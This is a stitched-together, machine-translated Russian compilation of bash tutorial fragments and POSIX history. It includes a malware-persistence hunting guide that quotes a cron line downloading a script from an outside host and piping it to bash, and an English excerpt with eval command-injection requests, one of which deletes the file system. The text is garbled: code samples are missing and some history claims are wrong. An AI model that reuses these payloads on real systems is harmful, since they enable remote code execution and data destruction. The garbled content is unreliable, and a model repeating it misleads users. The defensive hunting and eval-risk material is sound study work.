Пример.
Косвенность.
Это позволяет выполнять косвенные расширения:
Зачем? Потому что в первом цикле цитируется первый . Таким образом, он игнорируется для разложений оболочкой. Следующий с именем a расширяется для создания «b». Затем удаляется один уровень цитирования, что делает первый кавычек. Конец первого цикла.
Именно во втором цикле строка считывается оболочкой. Затем расширен до «c» И дано как аргумент для .
Чтобы «увидеть» то, что eval будет производить в первом цикле (для оценки снова), используйте эхо. Или любая команда / сценарий / программа, которая четко показывает аргументы:
Замените eval на эхо, чтобы «видеть», что происходит:
Также можно показать все «части» строки:
Который в этом примере является только одним эхом и одной переменной, но помните, что он помогает в оценке более сложных случаев.
Коррекция.
Надо сказать, что: в приведенном выше коде есть ошибка, видите ли вы это? Легко: некоторые кавычки отсутствуют.
Как? вы можете спросить. Простой, давайте изменим переменные (а не код):
Смотрите пробелы? Это потому, что значение внутри было разделено оболочкой.
Если это вас не убедит, попробуйте следующее:
Зачем?
Отсутствующие котировки. Чтобы он работал корректно (добавьте внутренние и внешние цитаты. Попробуйте это (совершенно безопасно):
Циклы. Цикл until-do.
Синтаксис
until TEST-COMMAND; do CONSEQUENT-COMMANDS; done # синтаксис для записи цикла в одну строку
Оператор case
Оператор case всегда завершается ключевым словом esac.
case строка in шаблон) список операторов ;; ] esac
Оператор case поочерёдно сравнивает строку с шаблонами. Если шаблон совпадает, то выполняется группа операторов, находящихся между шаблоном и специальными символами «;;». После выполнения всех строк управление передается операторам, находящимся за ключевым словом esac.
Функции
Функцию в shell можно определить двумя способами: при помощи оператора function или после имени функции написать открывающую и закрывающую круглые скобки. Тело функции располагается между фигурными скобками.
eval
eval arg1 ...
Транслирует список аргументов, из списка, в команды.
Пример. Демонстрация команды eval
#!/bin/bash y=`eval ls -l` # Подобно y=`ls -l` echo $y # но символы перевода строки не выводятся, поскольку имя переменной не в кавычках. echo echo "$y" # Если имя переменной записать в кавычках -- символы перевода строки сохраняются. echo; echo y=`eval df` # Аналогично y=`df` echo $y # но без символов перевода строки. # Когда производится подавление вывода символов LF (перевод строки), то анализ #+ результатов различными утилитами, такими как awk, можно сделать проще. exit 0
getopts
getopts — это встроенная в shell команда, позволяющая разобрать командную строку, передаваемую программе. Она понимает только параметры, написанные в стиле Что такое POSIX, т.е «-v -t -f file» и т.п.
trap — обработка прерываний
Команда trap позволяет переопределить стандартную реакцию программы на получаемые сигналы. Бывает необходимо защитить выполнение программы от прерывания. Формат команды trap:
trap 'список команд' сигналы
Если в системе возникнут прерывания, чьи сигналы перечислены через пробел в «сигналы», то будет выполнен «список команд», после чего (если в списке команд не была выполнена команда «exit») управление вернется в точку прерывания и продолжится выполнение командного файла.
Наиболее часто приходится встречаться со следующими прерываниями, соответствующими сигналам:
0 выход из интерпретатора, 1 отбой (отключение удаленного абонента), 2 прерывание от <Del>, 9 уничтожение (не перехватывается), 15 окончание выполнения.
Например, если перед прекращением по прерываниям выполнения какого то командного файла необходимо удалить файлы в «/tmp», то это может быть выполнено командой «trap»:
trap 'rm /tmp/* ; exit 1' 1 2 15
которая предшествует прочим командам файла. Здесь, после удаления файлов будет осуществлён выход «exit» из командного файла.
Команда «trap» позволяет и просто игнорировать прерывания, если «список команд» пустой. Так например, если команда «cmd» выполняется очень долго, а пользователь решил отключиться от системы, то для продолжения выполнения этой команды можно написать, запустив команду в фоновом режиме:
( trap '' 1; cmd )&
2>
Оператор 2> перенаправляет стандартный вывод ошибок — standard error (stderr).
Результат выполнения команд и возникшие ошибки выводятся на консоль и может показаться, что это одно и то же. Но на самом деле, это разные типы вывода.
К примеру попытаемся сохранить в файл текст ошибки, возникшей в результате выполнения команды:
ls -l /bin/usr > ls-error.txt
Текст ошибки будет выведен на экран, но файл ls-error.txt окажется пустым.
Дело в том, что нужно различать стандартный вывод и стандартный вывод ошибок. Чтобы перенаправить стандартный вывод в файл используется оператор 2>:
ls -l /bin/usr 2> ls-error.txt
В данном случае ошибка не будет выведена на экран, а будет сохранена в файл ls-error.txt.
Чтобы перенаправить стандартную ошибку, мы должны обратиться к её файловому дескриптору. Программа может выводить любой из нескольких пронумерованных файловых потоков. Первые три из этих файловых потоков называются стандартный ввод, стандартный вывод и стандартный вывод ошибок. Оболочка ссылается на них внутренне как файловые дескрипторы , 1 и 2 соответственно. Оболочка обеспечивает запись для перенаправления файлов с использованием номера дескриптора файла. Поскольку стандартная ошибка совпадает с дескриптором файла номер 2, мы можем перенаправить стандартную ошибку с помощью 2>.
Файловый дескриптор «2» помещается непосредственно перед оператором перенаправления, чтобы выполнить перенаправление стандартной ошибки в файл ls-error.txt.
Ссылки [ править ]
- ^ «POSIX.1 FAQ» . Открытая группа. 5 октября 2011 г.
- ^ a b «Часто задаваемые вопросы по POSIX 1003.1, версия 1.12» . 2 февраля 2006 . Проверено 16 июля 2006 года .
- ^ «P1003.1 — Стандарт информационных технологий — Базовые спецификации интерфейса переносимой операционной системы (POSIX ), выпуск 8» . Ассоциация стандартов IEEE .
- ^ «Происхождение названия POSIX» . 2011 . Проверено 28 сентября 2013 года .
- ^ Статус PASC (включая POSIX) (Отчет). Компьютерное общество IEEE . 4 декабря 2003 . Проверено 1 марта 2015 года .
- ^ «Язык команд оболочки — Базовые спецификации Open Group, выпуск 7, издание 2013 г.» . Проверено 28 апреля 2020 .
- ^ «POSIX» . Открытая группа.
-
^ «librt (3LIB)» . docs.oracle.com . Раздел 3 страниц руководства: Интерфейсы и заголовки библиотек. Корпорация Oracle. 4 августа 1998 . Проверено 18 февраля +2016 .
librt, libposix4- Библиотека расширений реального времени POSIX.1b librt — предпочтительное имя для этой библиотеки.
Имя libposix4 поддерживается для обратной совместимости, и его следует избегать.
Функции в этой библиотеке предоставляют большинство интерфейсов, указанных в расширении реального времени POSIX.1b.
- ^ «Open Group объявляет о завершении совместной ревизии POSIX и единой спецификации UNIX» (пресс-релиз). Открытая группа. 30 января 2002 . Проверено 26 июля 2009 года .
- ^ «IEEE Std 1003.1» (изд. 2004 г.). Unix.org . Проверено 26 июля 2009 года .
- ^ «IEEE Std 1003.1» (изд. 2004 г.). Открытая группа. .
- ^ a b «Базовые спецификации, выпуск 7, издание 2016 г.» . Открытая группа . Проверено 18 декабря 2014 .
- ^ «Группа по пересмотру общих стандартов Остина» . Открытая группа . Проверено 1 марта +2016 .
- ↑ Столмен, Ричард (28 августа 1991). «Торжества демократии в дисковых накопителях» . Группа новостейgnu.announce . Usenet: — через группы Google.
- ^ «Стандарты кодирования GNU» . GNU.
- ^ «Сертификация POSIX» . IEEE.
- ^ «POSIX, сертифицированный IEEE и Open Group — Руководство по программе» .
- ^ «IBM» . Открытая группа . Проверено 26 января 2014 года .
- ^ a b «Hewlett-Packard» . Открытая группа . Проверено 26 января 2014 года .
- ^ «Silicon Graphics, Inc» . Открытая группа . Проверено 26 января 2014 года .
- ^ «Huawei Technology Co., Ltd.» . Открытая группа . Проверено 26 мая 2017 года .
- ^ «Открытый бренд — Реестр сертифицированных продуктов» . Реестр открытых брендовых продуктов . Открытая группа . Дата обращения 20 мая 2015 .
- ^ «Apple Inc.» . Реестр открытых брендовых продуктов . Открытая группа . Дата обращения 20 мая 2015 .
- ^ «Oracle Corporation» . Открытая группа . Проверено 26 января 2014 года .
- ^ «UnixWare 7.1.3 и новее» . Открытая группа. 16 мая 2003 г.
- ^ «QNX достигает новой сертификации POSIX» . QNX. 8 апреля 2008 . Проверено 16 января +2016 .
- ^ «Инспур Ко., Лтд» . Открытая группа . Проверено 26 мая 2017 года .
- ^ «Регистр сертификации POSIX» . get.posixcertified.ieee.org . Проверено 9 марта 2018 .
- ^ Швейхардт, Йенс. «Утилиты POSIX» . FreeBSD.
- ^ Марк Halper (7 ноября 1994). «Продажи HP 3000 застали рынок врасплох» . Компьютерный мир . Vol. 28 нет. 4. IDG Enterprise.
- ^ Солтер, Николас А .; Елинек, Джерри; Шахтер, Дэвид (21 марта 2011 г.). Библия OpenSolaris . Джон Вили и сыновья. ISBN 9781118080313.
- ^ Функции, удаленные или устаревшие в Windows Server 2012
- ^ Windows NT Services for UNIX Add-On Pack для NT 4; см. также пресс-релиз по MKS Toolkit 6.1за ноябрь 1998 г. , также заархивированный в другом месте.
- ^ «Библиотека MSDN: устаревшие функции CRT» . Microsoft . Проверено 8 октября 2015 года .
- ^ «Библиотека MSDN: перенос приложений сокета на Winsock» . Microsoft . Проверено 8 октября 2015 года .
- ^ «Статьи часто задаваемых вопросов программистов Winsock: Совместимость с сокетами BSD» . Уоррен Янг. 31 августа 2015 . Проверено 8 октября 2015 года .
- ^ «APE — среда ANSI / POSIX» . План 9 . Bell Labs.
- ^ «Совместимость с POSIX» . Комплект ресурсов для рабочих станций MS Windows NT . Microsoft.
Что такое POSIX?
POSIX (произносится как «позикс») — это интерфейс портативных операционных систем. Но что это значит? Во-первых, нужно обозначить область действия понятия «портативность», в этом конкретном случае, и определиться с понятием «интерфейс». Чтобы выяснить это, необходимо отталкиваться от того, что оба понятия неразрывно связаны.
«Портативность», в контексте стандарта POSIX, относится к исходному коду (не к бинарникам, которые из этих самых исходников собираются). Теперь выясним, что такое «интерфейс». В программировании, «интерфейс» — это взаимодействие вашего кода с остальным кодом. Интерфейс ждет от вашего кода предоставления определенной информации. Ваш код, в свою очередь, предполагает получение определенной информации от интерфейса. Хороший пример — функция fopen() в языке Си. Она ожидает информации из двух частей: путь к файлу и режим, в котором он будет открыт. С помощью этих данных, операционная система возвращает другой вид информации, который называется «дескриптор файла». Дескриптор файла может быть использован для чтения файла или записи в файл. Это и есть интерфейс. Из всего этого следует, что POSIX-совместимый код может быть скомпилирован под любую POSIX-совместимую операционную систему без серьезных изменений, а значит, он будет портативным.
Стандарт POSIX появился в виде проекта Ричарда Столлмана в 1985 году и в дальнейшем был оформлен как IEEE Std 1003.-1998. Как видно из названия, 1998 год был годом официальной публикации. С тех пор было выпущено большое количество дополнений и расширений к POSIX, который постепенно превращается в целое семейство стандартов, формально известное как IEEE 1003, признанное в качестве международного, с обозначением SO/IEC 9945, попросту называемое стандарт семейства POSIX.
Операционной системе вовсе необязательно быть POSIX-совместимой или уж тем более иметь сертификат POSIX, однако это позволяет разработчикам создавать приложения, инструменты и платформы, не переписывая код раз за разом, а лишь дополнять и подключаться к уже готовому. Также совсем не обязательно писать POSIX-совместимый код, однако это значительно улучшает переносимость проектов между операционными системами. Это значит, что умение писать код, который совместим со стандартом POSIX, является ценным само по себе, и, безусловно, очень полезно для карьеры. Крупные проекты, такие как Gnome или KDE, придерживаются стандарта POSIX, что гарантирует их работу на разных операционных системах. Подсистема POSIX реализована даже в последних выпусках Windows. Linux, как известно, поддерживает большинство системных вызовов, относящихся к стандарту POSIX, также как и крупное расширение к нему, называемое «Стандартная база Linux», которая предназначена для объединения дистрибутивов Linux в плане поддержки исходных кодов и бинарных данных.
История развития стандарта POSIX[2]
Первая версия спецификации IEEE Std 1003.1 была опубликована в 1988 г. В последующем многочисленные редакции IEEE Std 1003.1 были приняты как международные стандарты.
Этапы развития POSIX:
Год | Этап |
---|---|
1990 г. | Редакция, выпущенная в 1988 г., была переработана и стала основой для дальнейших редакций и дополнений. Она была одобрена как международный стандарт ISO/IEC 9945-1:1990. |
1993 г. | Выходит редакция 1003.1b-1993. |
1995 г. | Опубликована редакция 1003.1c-1995 (входит как часть в стандарт ANSI/IEEE POSIX 1003.1-1995). |
1996 г. | Внесены изменения IEEE Std 1003.1b-1993, IEEE Std 1003.1c-1995 и 1003.1i-1995, однако основная часть документа осталась неизменной. В 1996 г. редакция IEEE Std 1003.1 также была одобрена как международный стандарт ISO/IEC 9945-1:1996. |
1998 г. | Появился первый стандарт для «реального времени» – IEEE Std 1003.13-1998. Это расширение стандарта POSIX для встраиваемых приложений реального времени. |
1999 г. | Принято решение внести в основной текст стандарта первые за последние 10 лет существенные изменения, включая объединение со стандартом 1003.2 (Shell и утилиты), так как к тому моменты это были отдельные стандарты. PASC решил закончить изменения базового текста после завершения работы над стандартами IEEE 1003.1a, 1003.1d, 1003.1g, 1003.1j, 1003.1q и 1003.2b. |
2001 г. | Опубликована новая редакция IEEE Std 1003.1. Также было принято решение о приведении остальных проектов в соответствие с новым документом. |
2003 г. | 31 марта опубликована новая редакция стандарта 1003.1. |
2004 г. | Последняя на сегодняшний день редакция стандарта 1003.1 была опубликована 30 апреля и выпущена под эгидой Austin Common Standards Revision Group. В нее внесены изменения, касающиеся редакции стандарта 2001 г. Формально редакция 2004 г. известна как IEEE Std 1003.1, 2004 Edition, The Open Group Technical Standard Base Specifications, Issue 6 и включает IEEE Std 1003.1-2001, IEEE Std 1003.1-2001/Cor 1-2002 и IEEE Std 1003.1-2001/Cor 2-2004. |
Циклы. Цикл while-do.
Цикл while сложнее цикла for-in и используется для повторения команд, пока какое-то выражение истинно( код возврата = 0). В цикле while выполняются строки, расположенные между do и done, до тех пор, пока условие истинно или пока не встретится оператор break. Синтаксис оператора:
while выражение или команда возвращающая код возврата do команды done while CONTROL-COMMAND; do CONSEQUENT-COMMANDS; done # синтаксис для записи цикла в одну строку
Пример работы цикла рассмотрим на следующем примере:
#!/bin/bash again=yes #присваиваем значение "yes" переменной again while #Будем выполнять цикл, пока $again будет равно "yes" do echo "Please enter a name:" read name echo "The name you entered is $name" echo "Do you wish to continue?" read again done echo "Bye-Bye"
Цикл выполняется до тех пор, пока мы не введем что-то отличное от «yes». Между do и done можно описывать любые структуры, операторы и т.п., все они будут выполнятся в цикле. Но следует быть осторожным с этим циклом, если вы запустите на выполнение в нём какую-либо команду, без изменения переменной выражения, вы можете попасть в бесконечный цикл.
Теперь об условии истинности. После while, как и в условном операторе if-then-else можно вставлять любое выражение или команду, которая возвращает код возврата, и цикл будет исполнятся до тех пор, пока код возврата = 0! Оператор «[» аналог команды test, которая проверяет истинность условия, которое ей передали.
Поиск следов закрепления вредоносного ПО
Поиск недавно созданных файлов
Инструментарий:
- Практические примеры использования команды find в Linux
- Команда find: поиск в файловой системе по любым свойствам файла
Поиск файлов в указанной папке, которые были изменены менее 1 дня назад:
find /bin/ -mtime -1
Вывод:
- /bin/
- /bin/sysdr
- /bin/bprofr
- /bin/crondr
- /bin/core_perl
Выделенные файлы — это вирусы (проверил на virustotal.com).
Чтобы найти все файлы, которые были изменены ровно 50 дней назад:
find / -mtime 50
Чтобы найти все файлы, к которым был получен доступ ровно 50 дней назад:
find / -atime 50
Чтобы найти все файлы, которые были модифицированы более 50 дней назад и менее 100 дней назад:
find / -mtime +50 -mtime -100
Чтобы найти файлы, свойства которых (права доступа, владелец, группа) были изменены за последний час:
find / -cmin -60
Чтобы найти файлы, которые были модифицированы за последний час:
find / -mmin -60
Чтобы найти все файлы, доступ к которым был сделан за последний час:
find / -amin -60
Поиск служб в автозагрузке
Инструментарий:
- Как использовать Systemctl для управления службами Systemd и юнитами
- Как в Linux добавить программу в автозагрузку
Если вы хотите посмотреть только юниты, добавленные в автозагрузку, то используйте следующую конструкцию:
systemctl list-unit-files | grep enabled
Посмотрите на две службы с именами:
- pwnrige.service
- pwnrigl.service
На самом деле, вредоносное ПО может модифицировать файлы Systemctl и заменить собой любую службу или выбрать менее вызывающее название, но в данном случае очевидно, что это посторонние сервисы.
Можно посмотреть, что там внутри:
sudo systemctl edit pwnrige.service sudo systemctl edit pwnrigl.service
Или так:
cat /etc/systemd/system/pwnrige.service cat /usr/lib/systemd/system/pwnrigl.service
Следующая строка
/bin/bash -c 'cp -f -r -- /bin/sysdr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null'
Говорит нам о том, что файл вируса спрятан в /bin/sysdr.
Поиск в директориях /etc/systemd/system/ и /usr/lib/systemd/system/ файлов созданных за последний день:
find /etc/systemd/system/ /usr/lib/systemd/system/ -mtime -1
Знакомые нам файлы:
- /etc/systemd/system/pwnrige.service
- /usr/lib/systemd/system/pwnrigl.service
Поиск по содержимому файлов (по тексту)
Инструментарий:
Регулярные выражения и команда grep
Поиск строк sysdr или cp в директориях /etc/systemd/system/ и /usr/lib/systemd/system/:
grep --color -E '(sysdr)|(cp )' /etc/systemd/system/* /usr/lib/systemd/system/* 2>/dev/null
Расписания задач Cron
Инструментарий:
Как вывести все задачи Cron
Следующие две команды покажут содержимое задач Cron для всех пользователей:
for user in $(cut -f1 -d: /etc/passwd); do sudo crontab -u $user -l 2>/dev/null | grep -v '^#'; done
Более гибкий вариант, не рассчитывает на имена пользователей:
grep '*' --color /etc/anacrontab /var/spool/cron/crontabs/* /var/spool/cron/* /etc/cron.hourly/* /etc/cron.daily/* /etc/cron.weekly/* /etc/cron.monthly/* /etc/cron.d/* /etc/init.d/down 2>/dev/null
Обратите внимание, как прочно укоренился вирус в системе:
(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /xms; bash /xms; /xms; rm -rf /xms
Этот набор команд, который должен выполняться с периодичность 1 раз в минуту, прописан в следующих файлах:
- /etc/cron.d/root
- /etc/cron.d/nginx
- /etc/cron.d/apache
- /var/spool/cron/root
Автоматически выполняемые скрипты
Инструментарий:
Различия между Login shell и Non login shell (оболочка с входом и оболочка без входа)
В Linux имеются скрипты, которые выполняются автоматически при входе пользователя в систему.
Некоторые из этих скриптов общие для всех пользователей, некоторые — у каждого пользователя свои:
- /etc/profile
- /etc/profile.d/*
- ~/.bash_profile
- ~/.bashrc
- /etc/bashrc
Если вы не знаете, что именно нужно искать, то используйте следующую команду, которая выведет содержимое для всех файлов всех пользователей:
sudo grep --color '.*' /etc/profile /etc/profile.d/* /home/*/.bash_profile /home/*/.bashrc /etc/bashrc /root/.bash_profile /root/.bashrc
Посмотрите какая неприятность — в файле /root/.bash_profile найдена следующая строка:
cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null
expr
expr похож на let за исключением того, что вместо сохранения результата в переменную expr по умолчанию печатает ответ.
Но никто не запрещает сохранять результат expr в переменные с помощью command substitution: x = $(expr 2 + 2)
В отличие от let не нужно заключать выражения с пробелами в кавычки
Нужно ставить пробелы вокруг операторов.
Рассмотрим простой пример:
expr_example.sh
Разберём этот пример пошагово:
Строка 4 — Это базовый синтаксис
Обратите внимание на пробелы и на отсутствие кавычек.
Строка 6 — Если заключить выражение в кавычки его в таком виде и выведет в терминал.
Строка 8 — Если не поставить пробелы выражение будет выведено в терминал без вычисления.
Строка 10 — Некоторые символы нужно экранировать.
Строка 12 — Это деление по модулю. Результатом будет остаток от целочисленного деления двух чисел.
Строка 14 — Пример выполнения command substitution чтобы сохранить результат в переменную a
./expr_example.sh 12
9
5 + 4
5+4
60
1
7
О руководстве:
Нет, для этого нет независимой справочной страницы. Поиск руководства с или даже не записи.
Он включен внутри . Как и любой встроенный. Найдите «SHELL BUILTIN COMMANDS», а затем «eval».
Более простой способ получить помощь: В bash вы можете чтобы увидеть помощь для встроенного.
Почему eval называется злом?
Потому что он является обязательным текстом для кодирования динамически.
Другими словами: он преобразует список своих аргументов (и / или расширений таких аргументов) в выполненную строку. Если по какой-либо причине аргумент был установлен злоумышленником, вы будете выполнять код злоумышленника.
Или даже проще, с eval вы говорите тому, кто определил значение одного или нескольких аргументов:
Это опасно? Должно быть ясно, для всех, кто это.
Правила безопасности для eval должны быть: Выполняйте eval только для переменных, которым вы присвоили значение.
Подробнее читайте здесь .
Not yay: Why ‘eval’ is a really bad idea
Note: All of the following testing is done in a disposable Docker container. Be careful if you are fooling around with this script on an important machine. I am not responsible if you delete something important.
If you recall, ‘eval’ executes strings and can permit us some reflection-like abilities. Looking at the code, recall the function that handles user shutdown gracefully:
# control_c# Executes logic to handle a Control + C press by the user.control_c() { G_USER_REQUESTED_SHUTDOWN=0 echo '' shutdown}
What do you think will happen if we send a ‘curl’ call containing ? Let’s find out:
# Client request:$ curl '127.0.0.1:8080/$(shutdown)'# Server result:(...) The listener has exited unexpectedly
Ut-oh. I do not think that was in the requirements! Well, what happens if we try touching a file?
# Client request:$ curl '127.0.0.1:8080/$(touch${IFS}/not-good.txt)'# Server result:$ ls -ltr /total 72drwxr-xr-x 2 root root 4096 Nov 5 15:38 srvdrwxr-xr-x 2 root root 4096 Nov 5 15:38 optdrwxr-xr-x 2 root root 4096 Nov 5 15:38 mnt(...)drwxrwxrwt 7 root root 4096 Feb 2 02:32 tmp-rwxr-xr-x 1 root root 4163 Feb 2 02:34 really-bad-idea.sh-rw-r--r-- 1 root root 0 Feb 2 04:06 not-good.txt
As you can imagine, we can do some comical things like make the script delete itself:
# Client request:$ curl '127.0.0.1:8080/$(rm${IFS}${PWD}/*.sh)'# Server result:$ ls /really-bad-idea.shls: /really-bad-idea.sh: No such file or directory
While we are removing things we do not want, let’s delete the file system:
# WARNING: THE FOLLOWING COMMAND WILL DELETE YOUR COMPUTER. DO NOT RUN THIS UNLESS YOU ARE IN A TEST ENVIRONMENT.# Client request:$ curl '127.0.0.1:8080/$(rm${IFS}-rf${IFS}/*)'# Server result:(...) Make API calls to '<server-address>:8080/api/104d01cba6f4b74051901ca500a2650a'rm: cannot remove '/dev/console': Device or resource busyrm: cannot remove '/dev/shm': Device or resource busyrm: cannot remove '/dev/mqueue': Device or resource busyrm: cannot remove '/dev/pts/ptmx': Operation not permittedrm: cannot remove '/etc/hosts': Device or resource busyrm: cannot remove '/etc/resolv.conf': Device or resource busyrm: cannot remove '/etc/hostname': Device or resource busyrm: cannot remove '/proc/fb': Operation not permitted(...)./really-bad-idea.sh: line 48: /tmp/listener.log: No such file or directory./really-bad-idea.sh: line 54: /usr/bin/sleep: No such file or directory./really-bad-idea.sh: line 48: /tmp/listener.log: No such file or directory./really-bad-idea.sh: line 54: /usr/bin/sleep: No such file or directory(...)
Споры [ править ]
512- против 1024-байтовых блоков править
POSIX требует 512-байтовых размеров блоков по умолчанию для утилит df и du , что отражает типичный размер блоков на дисках. Когда Ричард Столлман и команда GNU реализовывали POSIX для операционной системы GNU , они возражали против этого на том основании, что большинство людей думают в терминах блоков размером 1024 байта (или 1 КиБ ). Переменная среды POSIX_ME_HARDER была введена, чтобы позволить пользователю принудительно установить поведение, соответствующее стандартам. Имя переменной было позже изменено на POSIXLY_CORRECT . Эта переменная теперь также используется для ряда других особенностей поведения.
Горячие клавиши Bash (hotkeys bash)
Таблица комбинаций клавиш консоли Bash (терминала Linux).
- ctrl+d выйти из терминала
- ctrl+l очистить экран, аналог команды clear.
- ctrl+a переместить курсор в начало строки
- ctrl+e переместить курсор в конец строки
- ctrl+u удалить все символы от курсора до начала строки
- ctrl+k удалить все символы от курсора до конца строки
- ctrl+w удалить слово перед курсором
- ctrl+b переместить курсор на один символ влево
- ctrl+f переместить курсор на один символ вправо
- ctrl+t поменять местами символ слева от курсора и под курсором
- ctrl+h удалить символ слева от курсора
- ctrl+p предыдущая команда в истории bash
- ctrl+n следующая команда в истории bash
- ctrl+r реверсивный поиск команд в истории bash
- ctrl+y вставляет последнюю удалённую с помощью ctrl+u или ctrl+k строку
- ctrl+m выполнение команды, аналог
- ctrl+o выполняет команду, при этом оставляя её в командной строке для дальнейшего использования
- Tab+Tab выводит список команд. При наличии какого нибудь символа(-ов) выводит команды по введённым символам.
- ctrl+c отменить последнюю введённую команду
- ctrl+x+v показать версию bash
- ctrl+s стоп режим. Блокирует вывод на консоль. При этом все данные отображённые на экране остаются неизменными.
- ctrl+q выход из стоп-режима
Конфигурационные файлы инициализации Bash
Когда Bash вызывается как интерактивная оболочка, первым делом он читает и вызывает команды из файла /etc/profile, если этот файл существует. После чтения этого файла, он смотрит следующие файлы в данном порядке: ~/.bash_profile, ~/.bash_login, и ~/.profile, читает и вызывает команды из них. При выходе Bash читает и выполняет команды из файла ~/.bash_logout. Также Bash использует команды из файла ~/.bashrc. Это может быть отменено опцией –norc. Опция –rcfile заставит Bash использовать команды из ~/.bashrc
Синтаксис.
- Оператор точка позволяет включать код находящийся в другом файле (после точки и перед именем загружаемого файла ставится пробел). Этот оператор часто используют для включения конфигурационных параметров, находящихся во внешних файлах.
- Двойные кавычки — экранирует пробелы в значении переменных, например echo «This UID=$UID». Знак $ и обратные кавычки («), заключенные в двойные кавычки, сохраняют свойства специальных символов.
- Одинарные кавычки экранируют все специальные символы. Т.е. символ $ в echo ‘$sym ‘не будет интерпретироваться как специальный символ, а выведется как текст.
-
Обратные одинарные кавычки « служат для подстановки данных. В том месте где будет использована подстановка, будет подставляться то, что программа вывела бы на стандартный вывод. Вместо кавычек можно использовать круглые скобки со знаком $. Ниже команды идентичны:
`date` $(date)
-
Символ ; Оболочка bash допускает последовательное выполнение команд — одна за другой. Для этого серия команд вводится одной строкой, и разделяется символом ;. В этом случае сначала выполняется команда 1, по ее завершении команда 2 и т.д. Например
$ cd ~; ls *.txt; cp *.txt $HOME/temp/
-
Свойства переменных в shell script:
- не типизированы (значения в переменных считаются строками, и только если переменная будет использоваться в математическом выражении, будет происходить проверка типа переменной),
- область видимости переменных — весь код программы (если переменная будет определена в функции, она все равно будет глобальной переменной и к ней можно будет обращаться из любого места программы),
- при обращении к неопределенной переменной не выдаются ошибки,
- регистрозависимые.
-
echo и метасимволы в bash. Для использования метасимволов \n (перевод на новую строку), \t и других в команде echo может потребоваться использование ключа -e двух символов обратного слеша или же можно использовать конструкции $’\X’, ниже команды идентичны по результату свой работы:
#!/bin/bash echo -e \\n\\tfirst echo $'\n\t'second
Циклы. Цикл for-in.
Оператор for-in предназначен для поочередного обращения к значениям перечисленным в списке. Каждое значение в списке поочерёдно присваивается переменной.
Синтаксис следующий:
for переменная in do команды done for NAME ; do COMMANDS; done # синтаксис для записи цикла в одну строку
Если ключевое слово do находится в одной строке со словом for, то после списка аргументов (перед do) необходимо ставить точку с запятой.
for arg in ; do
Рассмотрим небольшой пример:
#!/bin/bash for i in 0 1 2 3 4 # переменной $i будем поочерёдно присваивать значения от 0 до 4 включительно do echo "Number is $i" done #цикл окончен exit 0
В переменную $i поочерёдно подставляются значения из списка и в цикле идёт работа со значением этой переменной.
Элементы в списке могут разделяться символами пробела или табуляции. Если список не помещается на одну строку, его можно продолжить на следующей, но перед тем как нажать на Enter, поставьте символ «\» для экранирования значения символа перевода строки.
Пример получения данных из внешнего файла с фильтрацией содержимого файла. В нем сначала отбираются первые поля файла (разделение полей — пробел), а затем удаляются комментарии т.е. строки начинающиеся на символ «#».
#!/bin/bash for i in `cat ipset.txt | cut -f1 -d ' ' | sed -e '/^#/ d'` do echo "$i" done exit 0